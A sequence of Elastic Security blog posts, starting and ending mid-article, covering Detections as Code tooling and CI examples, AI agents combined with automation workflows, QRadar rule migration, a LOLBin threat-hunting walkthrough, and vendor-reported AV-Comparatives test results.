• Fully configurable unit test, validation, and schemas
• Version lock for custom rules

March - August 2025: are generally available and supported

Using DaC with Elastic Security 8.18 and up:

• Supports prebuilt rules management. You can export all prebuilt rules from Elastic Security and store them alongside your custom rules.
• Support for rules filtering for export added.

Adjacent to DaC efforts, we also released new Terraform resources (V0.12.0 and V0.13.0) in October-December 2025, allowing Terraform users to manage detection rules and exceptions.

With this foundation spelled out, let's explore the powerful features that are available to streamline your detection engineering process.

Detection-rules DaC functionality highlights

There are a few worthwhile additions since our last DaC publication, which we’ll expand on below.

Additional filters

The filter functionality available when exporting rules from Kibana has been extended to allow you to precisely define which rules to sync in DaC. Here are the new flags:

Let’s take an example of when you wish to organize rules by data source, and want to export the AWS rules to a specific folder. In this case, let’s use filtering on tags for data sources and export all rules with the Data Source AWS tag:

python -m detection_rules kibana export-rules -d dac_test/rules #add rules to the dac_test/rules folder
-sv #strip the version fields from all rules
-cro #export only custom rules
-eq "alert.attributes.tags: "Data Source: AWS"" # export only rules with "Data Source: AWS" tag

See Kibana documentation for query string filtering for the underlying API call used here and the list all detection rules API call for example available fields to construct the query filter.

Custom folder structure

In the detection-rules repo, we use a folder structure based on platform, integration, and MITRE ATT&CK information. This helps us with our organization and rule development. This is by no means the only method of organization. You may want to organize your rules by customer, date, or source as examples. This will vary greatly depending on your use case.

Whether you use this export process or manual organization, once you have your rules in a location or folder structure that you like, you can now keep this local structure even when re-exporting rules. It is important to note that the new rules need to be placed in their desired location manually. The local rule-loading mechanism detects where the rules are placed in order to know where to put them. If the rule is not there, it will then use the specified output directory to place the new rule(s). To use the local rule loading for updating existing rules use the --load-rule-loading / -lr flag for the kibana export-rules and import-rules-to-repo commands. These flags enable you to make use of the local folders specified in your config.yaml.

Let’s look at example with the rules organised in folders the following way:

rule_dirs:
- rules
my_test_rule.toml
- another_rules_dir
high_number_of_process_and_or_service_terminations.toml

We’ll specify the following in the config.yaml file:

rule_dirs:
- rules
- another_rules_dir

With the new -lr option, rule updates from Kibana will now use these additional paths instead of exporting directly to the specified directory.

Running python -m detection_rules kibana --space test_local export-rules -d dac_test/rules/ -sv -ac -e -lr,will export rules from test_local space, my_test_rule.toml will be written to dac_test/rules/ as it was already on disk there and high_number_of_process_and_or_service_terminations.toml will be written to dac_test/another_rules_dir/.

This can be particularly useful if you have the same rules in different sub-folder configurations for different customers. For example, let’s say you have your rules broken down by platform and integration similar to Elastic’s prebuilt rule folder structure. For your customers, SOCs, or threat-hunting teams, having the rules organized underneath these platform/integration folders may be the most useful mechanism for them to manage the rules. However, your information security team or primary detection engineering team may want to manage the rules by initiative or rule author instead so that all the rules a particular individual or team is responsible for are organized in one place. Now with the local rule-loading flags, you can simply have two configuration files and the duplicated rules in each structure. When you are exporting updates for the rules, you would then use the environment variable to select the appropriate configuration file and export the rule updates. These updates will then be applied to the rules in place, maintaining the directory structure.

Miscellaneous local loading updates

In addition to the above, we have added two smaller new features designed to help users who are adding local information in the detection rules TOML files and schema. These are as follows:

1. Local date support from the local files where the local date will be maintained from the original file
2. Upgrades to the auto gen feature to inherit known types from existing schema.

The local date component can be useful when one wants more manual control over the date field in the file. Without using the override, the date will be based on when the Kibana rule contents were exported. Using the --local-creation-date flag, the date will not be updated when the file contents are re-exported.

The automatic schema generation has been updated to inherit the types from other indices/integrations if they are present. This provides a potentially more accurate schema, as well as reducing the need for manual updates after the fact. For example, you have a rule that uses the index “new-integration*” with the following fields:

• host.os.type.new_field
• dll.Ext.relative_file_creation_time
• process.name.okta.thread

Instead of each of these fields being added to the schema with a default type, their types are inherited from existing schemas. In this case, the types for dll.Ext.relative_file_creation_time and process.name.okta.thread are inherited.

{
  "new-integration*": {
    "dll.Ext.relative_file_creation_time": "double",
    "host.os.type.new_field": "keyword",
    "process.name.okta.thread": "keyword"
  }
}

To see how to use this with your custom data types, see the Custom schemas usage section within the Implementation examples part of this blog.

Expanding on usage examples

Below you will find more examples of DaC implementations, these are not focused on new functionality additions, but go deeper on the topics we see discussed in the community.

It’s worth noting that Detections as Code features are provided as components that can be used to build a custom implementation for your chosen process and architecture. When implementing DaC in your production environment, treat it as an engineering process and follow the best practices.

DaC implementation with Gitlab

When we look at implementations of DaC typically this revolves around using some form of CI/CD product to automatically perform rule management based on a given trigger. These triggers vary considerably based on the desired setup, specifically the authoritative source of rules and the desired state of your version control system (VCS). For a much more in-depth exploration of some of these considerations, see our DaC Reference Material. Below is a simple example using Gitlab as VCS provider and using its in-built CI/CD via Gitlab Actions.

stages:                # Define the pipeline stages
  - sync               # Add a 'sync' stage

sync-to-production:    # Define a job named 'sync-to-production'
  stage: sync          # Assign this job to the 'sync' stage
  image: python:3.12   # Use the Python 3.12 Docker image
  variables:
    CUSTOM_RULES_DIR: $CUSTOM_RULES_DIR    # Set custom rules env var
  script:                                  # List of commands to run 
    - python -m pip install --upgrade pip  # Upgrade pip
    - pip cache purge                      # Clear pip cache
    - pip install .[dev]                   # Install package w/ dev deps
    - |  # Multi-line command to import rules                                        
      FLAGS="-d ${CUSTOM_RULES_DIR}/rules/ --overwrite -e -ac"
      python -m detection_rules kibana --space production import-rules $FLAGS
  environment:
    name: production   # Specify deployment environment as 'production'
  only:
    refs:
      - main           # Run this job only on the 'main' branch
    changes:
      - '**/*.toml'    # Run this job only if .toml files have changed

This is very similar to other inbuilt CI/CD from other Git-based VCS like Gitlab and Gitea. The main difference being in the syntax determining the triggering event. The DaC commands such as kibana import-rules would be the same regardless of VCS. In this example, we are syncing rules from our fork of the detection-rules repo to our Kibana Production Space. This is based on a number of prior decisions being made, for instance requiring unit tests to pass before merging rule updates and that rules on main being ready for prod. For a Github-based walkthrough of these considerations for this particular approach, please take a look at our demo video.

Custom Unit Testing tips and examples

When considering DaC as a capability to add to your detection toolkit, setting up the CI/CD and base infrastructure should be considered as the first step in an ongoing process to improve the quality and usefulness of your rules. One of the key purposes in having “as code” tooling is adding the ability to further customize tooling to your needs and environment.

One example of this is unit testing for rules. Beyond base functionality testing, some other key existing unit tests enforce Elastic-specific considerations around rule performance and optimization, as well as organization of metadata and tagging. This helps detection engineers and threat researchers remain consistent in their rule development. Building on this example, one may want to consider adding custom unit tests based on your specific needs.

To illustrate this, take a Security Operations Center (SOC) environment where there are a number of analysts responsible for various different domains and tasks. When an alert is raised in the SIEM, it may not be immediately obvious who should handle remediation, or what team(s) need to be informed of the incident. Tagging the rules with a team tag: e.g. Team: Windows Servers similarly to how Elastic uses tags for data sources, can provide the SOC with a point of contact directly in the alert for who can help with remediation.

In our DaC environment, we can quickly create a new testing module to enforce this on all of the custom rules (or pre-built too). For this test, we are going to enforce having a Team: <some name> tag on all production rules that are not authored by Elastic. In the detection-rules repo, our testing is handled through the Python test suite called pytest and as such unit tests are organized into python modules (files) and subsequent classes and functions in these files under the tests/ folder. To add tests simply either add classes or functions to the existing files or create a new one. In general, we recommend creating new test files so that you can receive updates to the existing tests from Elastic without having to merge the differences.

We will start by creating a new python file called test_custom_rules.py in the tests/ directory with the following contents:

# test_custom_rules.py

"""Unit Tests for Custom Rules."""

from .base import BaseRuleTest


class TestCustomRules(BaseRuleTest):
    """Test custom rules for given criteria."""

    def test_custom_rule_team_tag(self):
        """Unit test that all custom rules have a Team: <team_name> tag."""
        tag_format = "Team: <team_name>"
        for rule in self.all_rules:
            if "Elastic" not in rule.contents.data.author:
                tags = rule.contents.data.tags
                if tags:
                    self.assertTrue(
                        any(tag.startswith("Team: ") for tag in tags),
                        f"Custom rule {rule.contents.data.rule_id} does not have a {tag_format} tag",
                    )
                else:
                    raise AssertionError(
                        f"Custom rule {rule.contents.data.rule_id} does not have any tags, include a {tag_format} tag"
                    )

Now each non-Elastic rule will be required to have a tag in the specified pattern for a team responsible for remediation. E.g. Team: Team A.

Custom schemas usage

Elastic’s ability to bring your own data types also extends to our DaC capabilities. For example, let’s take a look at some custom schemas for network protocols. Diverse data you have in your stack can of course be queried by your rules, and we will also want to leverage the applicable validation and testing for any custom rules on these data types too. This is where Custom schemas come in handy.

When we are validating queries, the query is parsed into the respective fields and the types of these fields are compared against what is provided in a given schema (e.g. ECS schema, the AWS Integration for AWS data, etc.). For custom data types, this follows the same validation path, with the ability to pull from locally defined custom schemas. These schema files can be built by hand as one or more json files; however, if you have some sample data already in your stack, you can take advantage of this and use it as validation and generate your schemas automatically.

Assuming you already have a custom rules folder configured (if not see instructions), you can turn on automatic schema generation by adding auto_gen_schema_file: <path_to_your_json_file> to your config file. This will generate a schema file in the specified location that will be used to add entries for each field and index combination. The file will be updated during any command where rule contents are validated against a schema, including import-rules-to-repo, kibana export-rules, view-rule, and others. This will also automatically add it to your stack-schema-map.yaml file when using a custom rules directory and config.

With this power comes an increased responsibility on rule reviewers as any field used in the query is immediately assumed to be valid and added to the schema. One way to mitigate risk is to utilize a development space that has access to the data. In the PR, one can then link to a successful execution of the query with stack level validation on its data types. Once this is approved, one can remove the auto_gen_schema_file addition to the config and you now have a known valid schema based on your custom data. This provides a baseline for other rule authors to build upon as needed and maintains the type checking validation.

Learn more about DaC and try it yourself

You can experience Elastic Security's Detections as Code (DaC) functionality firsthand with our interactive Instruqt training. This training provides a straightforward way to explore core DaC features in a pre-configured test environment, eliminating the need for manual setup. Give it a try!

If you are implementing DaC, share your experience, ask your questions and help others on the community slack DaC channel.

Trial Elastic Security

To experience the full benefits of what Elastic has to offer for detection engineers, start your Elastic Security free trial. Visit elastic.co/security to learn more.

The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.

Attempting to chase individual alerts is a losing strategy. To succeed, we have to move beyond simple automation scripts and into the era of Agentic AI.

At Elastic, we view the modern security operation as an operational nervous system. It needs Senses (the data foundation to see everything), a Brain 🧠(AI driven analytics to find the signal in the noise), and Hands 🙌(Workflows to execute actions and drive outcomes).

With the introduction of Agent Builder and Elastic Workflows, we are unifying these elements. We aren't just giving you a chatbot; we are giving you the ability to construct an autonomous SOC where agents reason over data and workflows execute sophisticated actions—bidirectionally.

Here is how these two powerful engines work together to transform your security operations.

The Power of "Brain" and "Hands" Working Together

To understand why this combination is significant, we must differentiate their roles.

• Elastic Workflows (The Hands): These are deterministic. They are perfect for rigid, repeatable processes—"If X happens, create a Jira ticket, ping Slack, and isolate the host." They provide structure, auditability, and reliability.
• Agent Builder (The Brain): Agents are probabilistic and reasoning-based. They perceive the environment, plan a sequence of steps, and adapt. An agent can look at a vague threat report and decide which queries to run to find evidence.

The magic happens when they interact: Previously, you had to choose between a rigid playbook or a manual investigation. Now, Workflows can invoke Agents to perform complex analysis during an automation loop, and Agents can invoke Workflows as tools to perform reliable, heavy-lifting actions during a chat.

What This Isn't

Let's be clear: this isn't about replacing your analysts. It's about removing the toil that keeps them from doing the work that actually matters - the creative, adversarial thinking that no model can replicate. The goal is to shift your team from being reactive log-chasers to proactive threat hunters. The agent handles the grunt work; your people handle the judgment calls.

Use Case: Automated Triage at Alert Time

From Alert to Analysis without Human Intervention

Let’s look at a real-world scenario involving a ransomware attack (ex: BlackCat/ALPHV - a ransomware-as-a-service operation). In a traditional setup, an alert fires, and an analyst spends 30 minutes gathering logs, checking virus totals, and writing a summary.

With Elastic, this entire triage phase is automated before the analyst opens their laptop, reducing mean-time-to-triage from 30 minutes to under 2 minutes.

The Workflow:

1. Trigger: Attack Discovery runs on a schedule and correlates 15 disparate alerts into a single, high-fidelity Attack Chain.
2. Workflow Step (Enrichment): The workflow is triggered automatically and loops through every entity involved—hosts, users, file hashes. It runs a lookup against threat intel sources like VirusTotal.
3. Workflow Step (Invoke Agent): The workflow passes this bundle of data to a specific "Triage Agent."
4. Agent Execution: The agent doesn't just copy-paste data. It reasons over the attack chain, compares it against the MITRE ATT&CK framework, correlates related logs, and generates a human-readable investigation summary tailored for a Tier 2 analyst.
5. Outcome: The workflow posts this AI-generated analysis directly into a new Case, complete with severity scoring, deep dive investigation, root cause analysis, and recommended next steps.

User Impact: The analyst starts their day reviewing a fully contextualized case, not chasing raw logs.

Use Case: The "Human-in-the-Loop" Investigation

Turning Natural Language into Deterministic Action

Once an analyst is investigating, they often need to perform administrative tasks that break their flow like finding out who is on-call, setting up war rooms, or notifying leadership.

In Elastic Security, the analyst stays in the chat interface. Because we allow you to define Workflows as Tools for your agents, the analyst can simply ask the agent to handle the logistics.

The Workflow:

1. Analyst Prompt: "We have a confirmed incident. Who is on call? Please create a Slack channel for this incident and invite them."
2. Agent Reasoning: The agent recognizes the intent matches a "Incident Response Setup" workflow tool you have pre-configured.
3. Workflow Execution:
   • Step 1: Queries the PagerDuty integration to find the on-call engineer.
   • Step 2: Calls the Slack API to create a channel named #incident-[id].
   • Step 3: Posts the initial case summary into that channel.
4. Outcome: The agent confirms to the analyst: "I have created channel #incident-982 and added Jane Doe (On-Call) to the channel."

Use Case: Guided Remediation and Containment

Precision Response at Speed

When it is time to contain a threat, speed is critical, but so is safety. You don't want an LLM "hallucinating" an API call to a firewall. This is where the Agent + Workflow combination shines for safety.

The Workflow:

1. Analyst Prompt: "Isolate the host involved in the BlackCat alert."
2. Agent Reasoning: The agent identifies the host123 host from the context of the investigation. It creates a plan to invoke the "Host Isolation" workflow.
3. Decision Point: The Agent presents the plan to the user: "I am about to trigger the 'Isolate Host' workflow for host123 via Elastic Defend."
4. Workflow Execution: The deterministic workflow executes the isolation command via Elastic Defend (XDR), ensuring the action is logged and performed exactly as defined by your engineering team.
5. Outcome: The host is isolated immediately.

User Impact: You get the ease of natural language interaction with the safety and audit trails of hard-coded automation.

We are moving away from a world where you have to choose between flexible AI chat and rigid SOAR playbooks. The future is an Autonomous SOC where the two are inextricably linked.

By using Agent Builder to create custom agents that understand your specific environment (using RAG with your own data) and equipping them with Elastic Workflows as tools, you effectively multiply your team's capacity and scale expertise. You are not just deploying a chatbot; you are deploying a virtual team member that knows your runbooks, respects your permissions, and works 24/7.

For more detailed information on getting started with Agent Builder read this blog.

Agent Builder and Workflows are available now as a tech preview. Get started with an Elastic Cloud Trial, and check out the documentation for Agent Builder here, and Workflows here.

Migrating to a new SIEM is often viewed as a daunting task. The sheer volume of legacy detection rules, dashboards, and custom configurations can keep security teams locked into aging infrastructure simply because the cost of moving — measured in manual effort and time — is too high.

Today, we are excited to announce a major expansion to our Automatic Migration feature that changes that narrative. In Elastic Security 9.3, we are introducing Automatic Migration support for QRadar detection rules (now in Tech Preview), joining our existing Splunk translation capabilities to further expedite your journey to Elastic Security. Let's take a closer look at what's supported.

Why SIEM Migration is Changing

Traditionally, organizations had to manually rewrite every rule when switching platforms. This created a significant bottleneck where security coverage was either delayed or lost during the transition. With the latest updates to Automatic Migration, MSSPs and large organizations running multiple SIEMs can now translate both Splunk and QRadar rules into Elastic-native logic automatically.

What’s Supported for Automatic Migration for QRadar

The same mapping and translation is applied as prior rule types but now with support for XML exported QRadar rules. The following rule types are supported:

• Event - focus on log and event data.
• Flow - typically related to network detection scenarios.
• Common - a combination of event and flow rules

We aren't just moving text; we are preserving the intelligence of your security operations. Reference sets are considered as part of the translation logic. We automatically put this information into lookup indexes where applicable. For more information on ES|QL lookup join syntax check out our docs. MITRE mappings are also preserved,so that upon rule install this is preserved in the migrated rule in elastic. Behind the scenes we take into account all building block rules as well. These building blocks help to contribute to the translation logic as seen in the summary tab for individual rules.

Streamlining the onboarding process

A common "chicken and egg" problem in SIEM migrations is whether to move data or rules first. Our framework provides flexibility for both:

1. Rule-First Insight: You can translate rules before onboarding data. Elastic will identify which integrations are required for those rules to work, allowing you to prioritize your data onboarding.
2. Data-First Traditionalism: If you prefer, you can onboard your log sources first and then migrate the rules to match.
3. Custom Data: For unique sources, use Automatic Import to ingest custom data in minutes.

By identifying exactly which integrations are needed before moving a single log, teams can build a precise, risk-aware roadmap for their migration project. This transparency eliminates the guesswork and helps ensure that critical visibility gaps are addressed long before you fully decommission your legacy environment.

Getting started with Automatic Migration for Detection Rules

To get started with Automatic Migration for Detection Rules, after deciding on migrating your detection rules and data, follow these three simple steps:

1. Navigate to Elastic Security’s “Get started” page and configure your AI Provider.

2. Select the drop down on the top right for QRadar. Let Elastic guide you through exporting your rules from QRadar and uploading them into Elastic Security. Elastic handles the finer details by scanning for reference sets, MITRE mappings, and then prompts you to upload them when found. MITRE mappings can only be included at the time of the initial translation so make sure to include them if you have this information.

3. Once the dashboards are uploaded, you can view their status.

• Installed: Already added to Elastic SIEM. Click View to manage and enable it.
• Translated: Ready to install. This rule was mapped to an Elastic-authored rule, or translated by Automatic Import. Click Install to install it.
• Partially translated: Part of the query could not be translated. You may need to specify an index pattern for the rule query, upload missing files, or fix broken rule syntax.
• Not translated: None of the original query could be translated.
• Failed: Translation failed. Refer to the error for details.

For more information, refer to the technical documentation.

4. After clicking View Rules you will have the ability to edit and install rules.

How Elastic’s AI features aid SOC teams

Elastic Security brings generative AI into the SOC with retrieval augmented generation (RAG) and open agentic frameworks. Automatic Migration joins the lineup of Elastic Security’s powerful AI features helping SOC teams strengthen defenses across the IT environment:

• Automatic Migration for Detection Rules complements Elastic’s deep library of prebuilt rules to broaden detection use case coverage.
• Automatic Import extends visibility and powers detection rules by onboarding custom data sources in minutes.
• Attack Discovery distills the alerts generated by detection rules to pinpoint advancing threats and suggest next steps.
• Elastic AI Assistant guides analysts through investigation and response using natural language.

Elastic’s Next Gen SIEM and XDR solution helps analysts detect earlier and respond faster.

Migrate to Elastic Security today

The days of being stuck with a legacy SIEM are over. Whether you are migrating from Splunk or QRadar, Elastic is here to ensure your transition is fast, accurate, and powerful. Interested in testing Elastic Security first? Try it free, or get in touch.

Have feedback? Tell us what you think in the Elastic Community Slack channel or on the Elastic Security forum.

Take the recent TOLLBOOTH research as an example. The moment Elastic Security Labs published the attack chain, an analyst might begin forming hypotheses based on specific techniques described, such as:

• Have historically frozen or archived IIS server logs shown any anomalies when re-examined with full telemetry?
• Are there signs of credential dumping or privilege escalation attempts on any IIS servers?

This is the essence of hypothesis-driven hunting; start with a developing threat, and rapidly ask targeted questions. It’s one of the most effective ways to get ahead of emerging attacks, but it demands broad visibility and tools that can keep up with your curiosity.

The reality for many SOC teams, however, falls short. They face data silos, limited search capabilities, and the fatigue of manual correlation.

Elastic Security is designed to remove these barriers by enabling hypothesis-driven threat hunting at speed and scale. By unifying security telemetry and enabling analytics across clusters, threat hunters can ask complex questions across all their data, correlate signals, and validate hypotheses quickly without manual data stitching.

This capability is delivered through a set of foundational building blocks that work together:

• Agentic workflows triage alerts, while a knowledge-grounded AI Assistant generates validated ES|QL queries, drives remediation, and recommends next steps.

• Elastic Security Labs to bring continuously updated threat research and adversary insights directly into detections and investigations.

• Detection rules that provide out-of-the-box coverage aligned to real-world attack techniques and hunting scenarios.

• Entity analytics to correlate users, hosts, and services, assign risk scores, and surface anomalies to enrich every investigation.

• Machine learning and anomaly detection to surface deviations from normal behavior and expose unknown or emerging threats.

• ES|QL, visualizations, and cross-cluster search to enable fast, expressive querying, intuitive analysis, and seamless hunting across distributed environments without blind spots.

Together, these building blocks give security teams the speed, scale, and analytical depth needed to move from reactive investigation to confident, proactive threat hunting—testing hypotheses across all of their data within a single, unified Elastic Security platform.

Into the woods: Navigating a real-world LOLBins hunt

This section shows how a threat hunt plays out in practice, moving from an empty search bar to a confirmed and contained threat through a real-world scenario focused on Living Off the Land Binaries (LOLBins).

Build your hypothesis with a RAG-powered AI Assistant

Your investigation can begin even before writing a single query. You can use Elastic’s retrieval-augmented generation (RAG)–powered AI Assistant to pull in trusted knowledge sources, such as Elastic Security Labs research, and build the foundation of your hypothesis. You can add any trusted sources as knowledge to ensure the Assistant reflects the data you rely on.

If you don’t have a specific target yet, you can ask the Assistant,

“Based on current trends, what hypothesis should I start my hunt with today?” The Assistant scans the configured knowledge base, which provides relevant context and directly generates a primary hypothesis along with supporting reasons and evidence. In this scenario, Elastic Security Labs content has been added to the knowledge base to supply the context.

Sit back while AI Assistant creates your tailored threat hunting query

Once you accept the LOLBin hypothesis, the AI Assistant generates a precise ES|QL threat hunting query tailored to your environment. Instead of writing complex syntax from scratch, you receive a targeted search designed to surface the specific suspicious behaviors.

To ensure queries are ready to run, the Elastic AI Assistant uses an agentic workflow to generate bespoke ES|QL queries from human-supplied use cases. It draws on your Elastic cluster data to craft accurate, ready-to-run responses and performs automatic validation before returning the final query. This background validation removes the need for manual troubleshooting, delivering a verified, ready-to-use query that can be pulled directly into your investigation timeline from the AI Assistant.

Alternatively, you can link a GitHub repository of Elastic’s threat hunting queries to the Assistant’s knowledge base to use existing queries as a baseline for your next steps.

Hunt Threats Across Your Entire Environment with ES|QL

If you manage a global environment and need to determine whether this activity is occurring in other clusters, you can expand your hypothesis by asking the AI Assistant to adapt the query for a Cross-Cluster Search (CCS). This enables you to search across multiple clusters in your environment—including frozen and long-term data—without disrupting your investigative workflow.

Seamlessly transition from the AI Assistant to the timeline view and run the query. This targeted search uncovers a critical finding: an instance of rundll32.exe executing on a Windows server with hostname elastic-defend-endpoint under the gbadmin user account*.*

Add context with analytics and visualizations

Finding a hit is only step one; now, you must determine if this is an admin performing maintenance or an actual attack. Validating your ideas requires deep analytics across hosts and users. By drilling down into the affected host, you land in the Entity Details.

Here, you’re not just seeing a hostname. You’re seeing a consolidated view of the host’s risk score, the specific alerts contributing to that score, and the asset’s criticality—all in one place. By bringing together detection signals, behavioral anomalies, and asset importance, Elastic’s entity risk scoring helps analysts quickly understand why an asset is risky, how urgent the threat is, and where to focus first. This unified context reduces investigation time, minimizes guesswork, and enables confident prioritization in high-volume environments.

Confirm the anomaly with machine learning

When you examine the risk score, the supporting evidence is displayed alongside it. You can see the specific alerts contributing to the elevated risk score, including a mix of medium-severity alerts and a Machine Learning (ML) alert such as “Unusual Windows Path Activity”.

Because ML is uniquely suited to detecting subtle deviations that static rules often miss, seeing an ML alert contributing to the risk score helps validate that this activity isn’t just noise—it points to a meaningful behavioral anomaly.

The event details immediately visualize the process lineage, revealing the critical evidence right in the panel. These insights transform your hypothesis from plausible to provable.

Take Action: From Insight to Response

After validating your hypothesis by uncovering suspicious activity, the immediate next step is response. Elastic Security lets responders act directly from their investigations without switching platforms.

Once a compromised host is confirmed, you can take action from the console by isolating the host to prevent lateral movement or terminating the malicious process tree uncovered in your LOLBIN hunt. This seamless transition from investigation to response enables rapid containment using the same tools and context.

Operationalize Queries and Automate Hunting

To automate future hunts and eliminate manual verification of recurring patterns, you can directly import a query into an operational detection rule, or create a rule for specific behaviors, anomalies, or new term values appearing for the first time, and convert it into a fully operational detection rule with a single click.

In enterprise environments, a LOLBin hunt can quickly generate a high volume of alerts. This is where agentic Attack Discovery makes a big difference. Its primary purpose is to help you triage efficiently by automatically correlating signals and highlighting the activity that requires immediate attention.

You can also group and tag hunting-related alerts and run Attack Discovery specifically on those sets to uncover meaningful patterns. This flexibility makes Attack Discovery valuable not only for automated alert triage, but also for advanced, hypothesis-driven threat hunting workflows.

Bonus: Automate with Elastic Agent Builder

Imagine building a LOLBin Hunter custom agent—purpose-built to hunt for LOLBin activity across your security data. Using Elastic Agent Builder, you can create this agent powered by an LLM and equipped with tools such as the ES|QL queries used in your manual workflow.

Once configured, you can interact with your security data using natural language, and the agent will reason through your request, select the most relevant tools, and take action. For example, you could ask: “Show me LOLBin activity that triggered machine learning anomalies and summarize the affected hosts and their risk scores.”

Stay ahead of emerging attacks with Elastic Security

Hypothesis-driven threat hunting is critical for staying ahead of modern attacks, but it can be complex and time-consuming without the right tools. Elastic Security combines AI-assisted investigation, ES|QL search, contextual analytics, machine learning, and integrated response to make every stage simpler and faster.

From the moment a new threat emerges to the point of actionable response, Elastic empowers analysts to uncover hidden signals, validate their hypotheses, and act decisively—turning raw data into intelligence and intelligence into action.

Interested in learning more about Elastic Security? Browse our webinars, events, and more or get started with your free trial today.

What is the EPR Test?

AV-Comparatives’ EPR Test is one of the most rigorous evaluations in the industry. It simulates complex, realistic attack scenarios that traverse the full kill chain, including:

• Endpoint compromise and foothold (e.g.,initial access, execution, and persistence)
• Internal propagation (e.g., privilege escalation, lateral movement, and credential theft)
• Asset breach (e.g., exfiltration, command and control, and impact)

The EPR Test replicates APT-like multistage attacks rather than relying on synthetic malware samples. It evaluates endpoint prevention and response solutions against the MITRE ATT&CK® framework, covering:

Phase 1: Endpoint Compromise and Foothold

• Initial Access, Execution, and Persistence
  • Replication through removable media
  • Malicious documents/scripts
  • Registry modifications

Phase 2: Internal Propagation

• Privilege Escalation, Lateral Movement, and Credential Access
  • Scheduled tasks/launch daemons
  • Unsecure credentials
  • Exploitation of remote services

Phase 3: Asset Breach

• Collection, Command and Control, and Exfiltration
  • Data encoding
  • Input and screen capture
  • Application layer protocol

All participants are scored on two vectors:

• Active Response: The product blocks the attack automatically.
• Passive Response: The product detects and alerts on the activity, providing actionable data for analysts.

Additionally, the test quantifies:

• Operational Accuracy Costs (false positives, admin overhead)
• Workflow Delay Costs (productivity impact)
• Total Cost of Ownership (TCO) for a 5,000-endpoint/5-year deployment

**

AV-Comparatives’ Certified EPR Product Award

In order to get a meaningful comparison between all participants, AV-Comparatives developed the Enterprise CyberRisk Quadrant, which takes into consideration all aspects described above. Elastic Security achieved Certified status, meaning a high level of performance in all key areas, confirming the product meets stringent evaluation standards as stated by Andreas Clementi, CEO and founder of AV-Comparatives:
Elastic achieved strong results in AV-Comparatives’ 2025 Endpoint Prevention and Response Test. The product demonstrated consistent performance across both Active and Passive Response methods, highlighting its ability to provide reliable protection against a broad range of attack vectors.

How Elastic Security performed on the test

Why these results matter

1. Prevention is front and center:
A 99.3% active response rate means Elastic Security was able to stop threats before they could run wild in almost all test cases. This includes interrupting attacks in early phases like execution, persistence, or initial foothold — highly valuable since earlier detection often means lower damage.

2. Low noise, minimal disruption:
False positives (mistakenly flagged benign behavior) and workflow delays are often silent risks; they may not make headlines, but they erode confidence, reduce productivity, and increase costs. Elastic Security’s low operational accuracy cost and zero workflow delay in this test show that strong security doesn’t need to come at the expense of usability.

3. Balanced total cost of ownership (TCO):
The test factors in not just purchase and licensing costs, but also the cost of responding to incidents, staffing, false positives, and potential breach fallout over time. Elastic Security’s strong showing suggests that its solution offers good value in the long term.

4. Holistic protection:
Because the test spans multiple stages of an attack, it rewards vendors who do more than just detect malware signatures. Elastic Security’s performance across initial compromise, propagation, and asset breach phases indicates depth — protection at different layers, good detection capabilities, and the ability to give admins useful data for remediation.

Conclusions

Elastic Security’s results in the AV-Comparatives EPR Test 2025 reaffirm its role as a leading endpoint prevention, detection, and response solution. With near-perfect prevention rates, minimal false positives, no workflow delays, and favorable total cost projections, it demonstrates that enterprise security need not force a trade-off between robust protection and operational efficiency.

One more resource before you go

Elastic Security isn’t just getting noticed in the analyst community. Cybersecurity practitioners like John Hammond, who recently took a hands-on look at Elastic Security are taking notice, too. If you’re interested in just the key highlights from the interview, we summarize them all in From raw data to real-time defense: A conversation with John Hammond.

Get started with Elastic Security

Join the growing number of businesses that trust Elastic Security to protect their organization against attacks. Experience the peace of mind that comes with knowing that your endpoints and organization as a whole are secure against the latest threats. Start your Elastic Security free trial, and discover the difference that our protection can make. Visit elastic.co/security to learn more.
The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.

Why the AV-Comparatives Business Security Test matters

AV-Comparatives is a highly respected organization that conducts rigorous, independent testing specifically for business endpoint security solutions. Unlike consumer antivirus tests, AV-Comparatives evaluations go beyond basic malware detection. The Real-World Protection Test simulates real-world attack scenarios, including malicious websites, in a multipronged approach that evaluates a product’s ability to safeguard businesses from contemporary threats. Earning top honors in AV-Comparatives' Business Security Test signifies a solution's effectiveness in protecting organizations.

The test simulates 220 distinct and complex attack scenarios that replicate the tactics and techniques of contemporary threat actors. The Malware Protection Test assesses a security product’s ability to protect a system against infection by malicious files before, during, or after execution. The evaluation utilized a substantial dataset of 1,018 unique and recently identified malware samples, representing the current threat landscape.

Elastic Security earned perfect scores in both critical categories, demonstrating its robust capabilities to accurately identify and prevent a wide spectrum of sophisticated threats, including both targeted attacks and prevalent malware.

Highlights from Elastic Security’s performance

Ranked first of the tested products: The following business products were tested under Microsoft Windows 11 64-bit:

Real-World Protection Test: Elastic Security excelled in the Real-World Protection Test, achieving 100% coverage and demonstrating exceptional defense against current cyber attacks. This demonstrates how Elastic gives your business the necessary protection to effectively combat the newest threats, reducing the likelihood of data breaches and operational interruptions.

100% protection in Malware Protection Test: Elastic Security was the sole participant among 17 vendors to achieve a perfect 100% score in both the Real-World Protection Test and the Malware Protection Test. Our advanced threat detection engine is exceptionally effective at identifying and mitigating malware, proactively combating the increasingly sophisticated malware environment. This perfect score across both critical evaluation criteria highlights not only the efficacy of Elastic Security’s solutions in practical, real-world scenarios but also its comprehensive capabilities in identifying and neutralizing a broad spectrum of malicious software.

Our consistently excellent results demonstrate our ongoing commitment to delivering dependable protection for businesses of all scales. Elastic Security is a proven solution for safeguarding your organization's data against threats.

Performance is key to security

Elastic Security recognizes that effective cybersecurity requires more than just identifying and stopping malicious activity. Advanced cybersecurity demands seamless integration with daily operations for sophisticated security and business efficiency. Comprehensive security capabilities, such as advanced threat detection, proactive ransomware defense, and sophisticated malware analysis, form the bedrock of a strong security posture. However, their true value is diminished if they lead to system performance degradation. Slow, resource-intensive security solutions can frustrate users, impede productivity, and ultimately undermine the very security they aim to provide.

At Elastic Security, performance is not a secondary consideration but a fundamental pillar of our security philosophy and product design. We are committed to delivering world-class security without the performance overhead that can disrupt workflows. Our engineering efforts focus on optimizing every aspect of our platform to minimize CPU and memory consumption.

EDR stops at the endpoint, XDR doesn’t

